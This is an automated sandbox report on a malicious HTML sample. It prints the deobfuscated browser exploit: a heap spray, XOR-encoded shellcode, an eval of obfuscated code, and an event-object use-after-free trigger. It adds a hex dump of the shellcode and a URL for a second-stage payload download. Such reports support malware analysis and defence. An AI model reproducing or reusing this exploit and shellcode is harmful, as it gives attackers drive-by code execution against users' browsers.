Analysis report for file 1aea206aa64ebeabb07237f1e2230d0f
Sample Overview¶
| File | ccc[1].ht_ |
|---|---|
| MD5 | 1aea206aa64ebeabb07237f1e2230d0f |
| Analysis Started | 2013-05-10 18:28:08 |
| Report Generated | 2013-05-10 18:28:12 |
| Jsand version | 2.3.6 |
Detection results¶
| Detector | Result |
|---|---|
| Jsand 2.3.6 | suspicious |
In particular, the following URL was found to contain malicious content:
- file://1aea206aa64ebeabb07237f1e2230d0f/
Exploits¶
Deobfuscation results¶
Evals
- (repeated 1 time)
var n = unescape("%u0c0d%u0c0d"); while (n.length <= 524288)n += n; n = n.substring(0, 524269 - sc.length); var x = new Array(); for (var i = 0; i < 200; i ++ ){ x[i] = n + sc; }
Writes
- (repeated 1 time)
<html><script>var sc = unescape(" %u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805 %uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2 %u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053 %ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8 %ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8 %u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2 %ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f %udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7 %ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727 %u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6 %u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923 %ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2 %ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8 %u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8 %ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820 %udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8 %u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854 %ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84 %ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4 %ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153 %u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30 %ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e %u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b %u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb %u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c %u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498 %ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0 %ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc %u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8 %u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038 %ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e %u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727 %u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703 %uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653 %udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5 %u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb %ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be %uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7 %ubcb9%ub2f6%ubfa8%u00d8"); var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280, 238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833, 728, 735, 756, 707, 280, 770, 322, 756, 707, 770, 721, 812, 728, 420, 427, 371, 350, 364, 350, 392, 392, 287, 224, 770, 301, 427, 770, 413, 224, 770, 427, 770, 322, 805, 819, 686, 805, 812, 798, 735, 770, 721, 280, 336, 448, 371, 350, 364, 350, 378, 399, 315, 805, 693, 322, 756, 707, 770, 721, 812, 728, 287, 413, 826, 679, 798, 224, 840, 427, 770, 707, 833, 224, 455, 798, 798, 679, 847, 280, 287, 413, 224, 714, 777, 798, 280, 826, 679, 798, 224, 735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637, 735, 651, 427, 770, 301, 805, 693, 413, 875); var arr = new Array; for (var i = 0; i < sss.length; i ++ ){ arr[i] = String.fromCharCode(sss[i]/7); } var cc=arr.toString();cc=cc.replace(/ ,/ g, "" ); cc = cc.replace(/@/g, ","); eval(cc); var x1 = new Array(); for (i = 0; i < 200; i ++ ){ x1[i] = document.createElement("COMMENT"); x1[i].data = "abc"; } ; var e1 = null; function ev1(evt){ e1 = document.createEventObject(evt); document.getElementById("sp1").innerHTML = ""; window.setInterval(ev2, 50); } function ev2(){ p = " \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d \u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d"; for (i = 0; i < x1.length; i ++ ){ x1[i].data = p; } ; var t = e1.srcElement; } </script><span id="sp1"><IMG SRC="aaa.gif" onload="ev1(event)"></span></body></html>
Network Activity¶
Requests
| URL |
|---|
| file://ccc[1].ht_ |
| file://1aea206aa64ebeabb07237f1e2230d0f/aaa.gif |
ActiveX controls¶
Shellcode¶
| Hexadecimal | ASCII |
|---|---|
90 90 eb 19 5b 4b 90 33 c9 90 80 7b 01 e9 75 01 c3 66 b9 7b 04 80 34 0b d8 e2 fa eb 05 e8 e2 ff ff ff 31 39 db d8 d8 87 bc 79 e8 d8 d8 d8 53 98 d4 53 a8 c4 75 53 b0 d0 53 2f b2 d7 81 30 59 db d8 d8 48 3a 20 b0 eb ea d8 d8 b0 8d ab bd aa 8c 53 9e d4 30 37 da d8 d8 53 30 b2 d9 81 30 b9 db d8 d8 3a 21 b0 b7 b6 d8 d8 b0 ad aa b4 b5 8c 53 9e d4 30 08 da d8 d8 53 30 b2 d9 81 30 9a db d8 d8 3a 21 b0 b4 eb ea d8 b0 ab b0 bd b4 8c 53 9e d4 30 69 da d8 d8 53 30 b2 d9 81 30 fb db d8 d8 3a 21 59 34 d8 d9 d8 d8 53 04 59 1b 58 d8 d8 d8 b2 d8 b2 c2 8b b2 d8 27 8e 9c eb 18 98 58 e4 db d8 ad 21 51 5e 48 d8 d8 d8 1f dc db 84 b9 f6 bd 1f 9c db dc a0 bd d8 d8 eb 11 89 89 8b 8f 89 eb 18 53 9e 98 30 86 da d8 d8 5b 20 d8 d7 5d a7 d9 d8 d8 b2 d8 b2 d8 b2 db b2 d8 b2 da b0 d8 d8 d8 18 8b 53 9e fc 30 e5 da d8 d8 5b 20 27 d7 5c 86 d9 d8 d8 51 9e b8 b2 d8 88 27 8e f0 51 9e bc 53 5e 48 d8 d8 d8 1f dc db 84 ba f6 bd 1f 9c db dc a0 bd d8 d8 b2 d8 b2 d8 b2 da b2 d8 b2 d8 b0 d8 d8 d8 98 8b 53 9e fc 30 23 d9 d8 d8 5b 20 27 d7 5c c4 d9 d8 d8 51 5e 5c d8 d8 d8 51 46 54 d8 d8 d8 53 9e b8 b2 d8 b2 d8 b2 d8 53 9e b8 88 27 8e e0 1f 9e a8 d8 d8 d8 d8 1f 9e ac d8 d8 d8 d8 59 1f d8 da d8 d8 eb 03 53 86 bc b2 d8 55 9e a8 88 b0 d8 dc d8 d8 8f 27 ae b8 27 8e dc eb 11 61 d8 dc d8 d8 58 a4 d7 27 4d ac d4 58 a4 d7 27 d8 ac dd 58 ac d7 27 4d 3a 33 53 1b f5 d8 dc d8 d8 5b 20 d8 a7 db 51 86 a8 b2 d8 55 9e ac 88 27 ae a8 8f 27 6e 5c d8 d8 d8 27 8e e8 59 33 d8 dc d8 d8 5b 23 d8 a7 7d 27 ae b8 27 8e ec 27 6e 5c d8 d8 d8 27 8e ec 53 5e 48 d8 d8 d8 53 46 54 d8 d8 d8 1f dc db 84 b9 f6 bd 8b 27 8e f4 53 66 54 d8 d8 d8 53 5e 48 d8 d8 d8 1f dc df 84 ba f6 bd 59 34 d8 d9 d8 d8 53 04 b0 d8 d9 d8 d8 8b b0 d8 d9 d8 d8 8f b2 d8 b2 d8 27 8e c4 53 23 eb 18 eb 03 59 34 d8 da d8 d8 53 14 5b 20 8c a5 d0 51 c4 d9 5b 18 dc 33 2b 53 14 53 01 5b 1b c8 eb 18 88 89 8b 88 88 88 88 88 88 8f 88 88 53 9e d0 30 2f d8 d8 d8 53 a6 e4 30 ec d9 d8 d8 30 ef d8 d8 d8 b0 bb ae af d8 b0 ab b0 bc b7 8c 53 9e d4 30 6e d8 d8 d8 51 9e e4 bc 79 dc d8 d8 d8 55 78 b8 27 27 27 b2 bd 27 ae e4 53 9e c8 30 42 d8 d8 d8 eb 03 8b 8b 8b 8b 27 08 30 3d d8 d8 d8 59 34 d8 d9 d8 d8 53 24 5b 1f dc 1f df ea ac 49 d4 1f 9f dc bb 51 09 97 1f 9f d0 78 bd 4f 13 1f 9f d4 89 98 62 a7 1f 9f c8 e6 c5 6e e1 1f 9f cc 60 b1 0c c3 1f 9f c0 66 a7 be 78 1f 9f c4 24 71 ef 75 1f 9f f8 40 d2 c8 20 bc 79 e8 d8 d8 d8 53 98 d4 53 a8 c4 75 53 b0 d0 53 2f 51 8e bc b2 dc 81 30 7b d8 d8 d8 48 3a 20 b0 eb ea d8 d8 b0 8d ab bd aa 8c 53 de 30 ca d8 d8 d8 53 30 b2 dd 81 30 5c d8 d8 d8 3a 21 eb 27 8f 27 8e dc 58 e0 30 58 e0 31 ad c9 59 a0 dd 48 48 48 48 ac d0 53 27 8d 53 34 55 98 dd 27 38 30 e0 d8 d8 d8 1b 58 e0 30 58 e0 31 ad c9 59 a0 dd 48 48 48 48 ac 3f b0 d0 d2 d8 d8 55 98 dd 27 38 30 cf d8 d8 d8 1b 30 c9 d8 d8 d8 60 c9 d9 dc 58 1a d4 d8 33 da 80 1b 30 21 27 27 27 83 1e df 60 51 87 d9 be 1f 9f dd 27 38 1b 8b 53 04 8b b2 98 b0 d8 c8 d8 d8 8f 53 9e f8 30 5e 27 27 27 80 1b 89 8e 53 ad e4 53 ac f6 a0 db 2d 8e 53 ae f8 db 2d eb 11 91 99 75 db 1d eb 03 d7 66 c8 e2 0e ac d0 19 13 df db 02 98 33 29 e3 c7 ad 3f 86 53 86 fc db 05 be 53 d4 93 53 86 c4 db 05 53 dc 53 db 1d 73 86 81 1b 30 c2 24 27 27 6a 2a 3a 2c 6a ee d7 cb 28 90 a3 e5 ea ac 49 d4 5d 07 77 63 bb 51 09 97 89 98 62 a7 df 4a fa a8 c6 7c bc 37 4b ea 3c 4c 56 cb d2 74 a1 e1 3e 40 1c 55 c7 ac 8f be d5 27 9b 66 74 03 40 d2 c8 20 58 0e 77 42 23 8b cd be b0 ac ac a8 e2 f7 f7 bc bd b5 b7 e9 f6 be ac a8 b9 bb bb bd ab ab f6 bb bb f7 bc bd b5 b7 f7 b9 bc f6 b2 a8 bf d8 00 |
....[K.3...{..u.
.f.{..4.........
..19.....y....S.
.S..uS..S/...0Y.
..H:............
S..07...S0...0..
..:!...........S
..0....S0...0...
.:!...........S.
.0i...S0...0....
:!Y4....S.Y.X...
.......'.....X..
..!Q^H..........
................
.S..0....[...]..
................
..S..0....[.'.\.
...Q.....'..Q..S
^H..............
................
....S..0#...[.'.
\....Q^\...QFT..
.S........S...'.
...............Y
.......S....U...
......'..'....a.
...X..'M..X..'..
.X..'M:3S......[
....Q....U...'..
.'n\...'..Y3....
[#..}'..'..'n\..
.'..S^H...SFT...
........'..SfT..
.S^H..........Y4
....S...........
......'..S#....Y
4....S.[....Q..[
..3+S.S.[.......
.........S..0/..
.S..0....0......
.........S..0n..
.Q...y....Ux.'''
..'..S..0B......
...'.0=...Y4....
S$[......I.....Q
.....x.O......b.
.....n....`.....
.f..x...$q.u...@
....y....S..S..u
S..S/Q.....0{...
H:............S.
0....S0...0\...:
!.'.'..X.0X.1..Y
..HHHH..S'.S4U..
'80.....X.0X.1..
Y..HHHH.?.....U.
.'80.....0....`.
..X...3...0!'''.
..`Q......'8..S.
.........S..0^''
'....S..S....-.S
...-....u.....f.
..........3)...?
.S.....S..S....S
.S..s...0.$''j*:
,j...(.....I.].w
c.Q....b..J...|.
7K.<LV..t..>@.U.
....'.ft.@...X.w
B#..............
................
............ |
This shellcode was found on file://1aea206aa64ebeabb07237f1e2230d0f/.
(shellzer's analysis not available: an error was encountered when analyzing this shellcode.)Malware¶
Additional (potential) malware:
| URL | Type | Hash | Analysis |
|---|---|---|---|
| http://demo1.ftpaccess.cc/demo/ad.jpg | N/A |
N/A |
Comments